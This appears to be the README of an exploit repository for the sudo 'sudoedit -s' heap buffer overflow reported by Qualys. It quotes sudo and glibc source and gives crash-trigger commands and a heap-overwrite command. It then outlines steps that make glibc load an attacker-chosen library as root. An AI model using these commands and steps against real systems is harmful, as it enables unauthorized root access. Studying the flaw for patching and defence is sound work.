
In this document we include all the knowledge necessary in order to understand the code in this repository and why it works. All the explaination is based on the report created by QUALYS. There more forms of exploitation are explained.
The vulnerable versions of sudo are legacy versions from 1.8.2 to 1.8.31p2 and all stable version from 1.9.0 to 1.9.5p1, in their default configuration.
This repositiory is tested on Ubuntu 20.04 (sudo 1.8.31). In it we open a terminal with root privileges.
If Sudo is executed to run a command in shell mode:
-s option, which set sudo's MODE_SHELL flags.-i option, which sets sudo's MODE_SHELL and MODE_LOGIN_SHELL flags.Then at the begining of sudo's main(), parse_args() rewrites argv, by concatenating all command-line arguments and
by escaping all meta-characters with backslashes.
if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
char **av, *cmnd = NULL;
int ac = 1;
cmnd = dst = reallocarray(NULL, cmnd_size, 2);
for (av = argv; *av != NULL; av++) {
for (src = *av; *src != '\0'; src++) {
/* quote potential meta characters */
if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
*dst++ = '\\';
*dst++ = *src;
}
*dst++ = ' ';
}
...
ac += 2; /* -c cmnd */
...
av = reallocarray(NULL, ac + 1, sizeof(char *));
...
av[0] = (char *)user_details.shell; /* plugin may override shell */
if (cmnd != NULL) {
av[1] = "-c";
av[2] = cmnd;
}
av[ac] = NULL;
argv = av;
argc = ac;
}
Later, in sudoers_policy_main(), set_cmnd() concatenates the command-line arguments into a heap-based buffer
user_args and unescapes the meta-characters, "for sudoers matching and logging purposes":
if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
for (size = 0, av = NewArgv + 1; *av; av++)
size += strlen(*av) + 1;
if (size == 0 || (user_args = malloc(size)) == NULL) {
...
}
if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
...
for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
while (*from) {
if (from[0] == '\\' && !isspace((unsigned char)from[1]))
from++;
*to++ = *from++;
}
*to++ = ' ';
}
...
}
...
}
If a command-line argument ends with a single backlash character, then:
from[0] is the backlash character and from[1] the null terminatorfrom is incremented and points to the null terminatoruser_args buffer and from incremented again and points out of boundsuser_args buffer.In other words, set_cmnd() is vulnerable to a heap-based buffer overflow, because the out-of-bounds characters that
are copied to the user_args buffer were not included in its size.
In theory, however, no command-line argument can end with a single backslash character: if MODE_SHELL or
MODE_LOGIN_SHELL is set (a necessary condition for reaching the vulnerable code), then MODE_SHELL is set and
parse_args() already escaped all meta-characters, including backslashes (i.e., it escaped every single backslash
with a second backslash).
In practice, however, the vulnerable code in set_cmnd() and the escape code in parse_args() are surrounded by
slightly different conditions:
if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {`
versus:
if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
ur question, then, is: can we set MODE_SHELL and either MODE_EDIT or MODE_CHECK (to reach the vulnerable code)
but not the default MODE_RUN (to avoid the escape code)?
The answer, it seems, is no: if we set MODE_EDIT (-e option) or MODE_CHECK (-l option), then parse_args()
removes MODE_SHELL from the valid_flags and exits with an error if we specify an invalid flag such as
MODE_SHELL):
case 'e':
...
mode = MODE_EDIT;
sudo_settings[ARG_SUDOEDIT].value = "true";
valid_flags = MODE_NONINTERACTIVE;
break;
...
case 'l':
...
mode = MODE_LIST;
valid_flags = MODE_NONINTERACTIVE|MODE_LONG_LIST;
break;
...
if (argc > 0 && mode == MODE_LIST)
mode = MODE_CHECK;
...
if ((flags & valid_flags) != flags)
usage(1);
But we found a loophole: if we execute Sudo as sudoedit instead of sudo, then parse_args() automatically sets
MODE_EDIT but does not reset valid_flags, and the valid_flags include MODE_SHELL by default:
#define DEFAULT_VALID_FLAGS (MODE_BACKGROUND|MODE_PRESERVE_ENV|MODE_RESET_HOME|MODE_LOGIN_SHELL|MODE_NONINTERACTIVE|MODE_SHELL)
...
int valid_flags = DEFAULT_VALID_FLAGS;
...
proglen = strlen(progname);
if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
progname = "sudoedit";
mode = MODE_EDIT;
sudo_settings[ARG_SUDOEDIT].value = "true";
}
Consequently, if we execute "sudoedit -s", then we set both MODE_EDIT and MODE_SHELL (but not MODE_RUN), we avoid
the escape code, reach the vulnerable code, and overflow the heap-based buffer user_args through a command-line
argument that ends with a single backslash character:
sudoedit -s '\' `perl -e 'print "A" x 65536'`
malloc(): corrupted top size
Aborted (core dumped)
From an attacker's point of view, this buffer overflow is ideal:
user_args buffer that we overflow (the size of our concatenated command-line arguments);user_args).For example, on an amd64 Linux, the following command allocates a 24-byte user_args buffer (a 32-byte heap chunk) and
overwrites the next chunk' size field with "A=a\0B=b\0" (0x00623d4200613d41), its fd field with "C=c\0D=d\0"
(0x00643d4400633d43), and its bk field with "E=e\0F=f\0" (0x00663d4600653d45):
env -i 'AA=a\' 'B=b\' 'C=c\' 'D=d\' 'E=e\' 'F=f' sudoedit -s '1234567890123456789012\'
--|--------+--------+--------+--------|--------+--------+--------+--------+--
| | |12345678|90123456|789012.A|A=a.B=b.|C=c.D=d.|E=e.F=f.|
--|--------+--------+--------+--------|--------+--------+--------+--------+--
size <---- user_args buffer ----> size fd bk
Program received signal SIGSEGV, Segmentation fault.
0x00007f6bf9c294ee in nss_load_library (ni=ni@entry=0x55cf1a1dd040) at nsswitch.c:344
=> 0x7f6bf9c294ee <nss_load_library+46>: cmpq $0x0,0x8(%rbx)
rbx 0x41414141414141 18367622009667905
The function crashing is nss_load_library() from glibc (at line 344) because the pointer library was overwritten.
static int
nss_load_library (service_user *ni)
{
if (ni->library == NULL)
{
ni->library = nss_new_service (service_table ?: &default_table,
ni->name);
}
if (ni->library->lib_handle == NULL)
{
/* Load the shared library. */
size_t shlen = (7 + strlen (ni->name) + 3
+ strlen (__nss_shlib_revision) + 1);
int saved_errno = errno;
char shlib_name[shlen];
/* Construct shared object name. */
__stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
"libnss_"),
ni->name),
".so"),
__nss_shlib_revision);
ni->library->lib_handle = __libc_dlopen (shlib_name);
The steps to exploit this crash are the following:
ni->library with NULL. this will make the code enter the if clause and start the parsing and loading of
the library.ni->name with "X/X". This originally hold "systemd".__strcpy lines will parse "libnss_X/X.so.2" instead of "libnss_systemd.so.2"."libnss_X/X.so.2" as root. In it we can do whatever we
wish as root.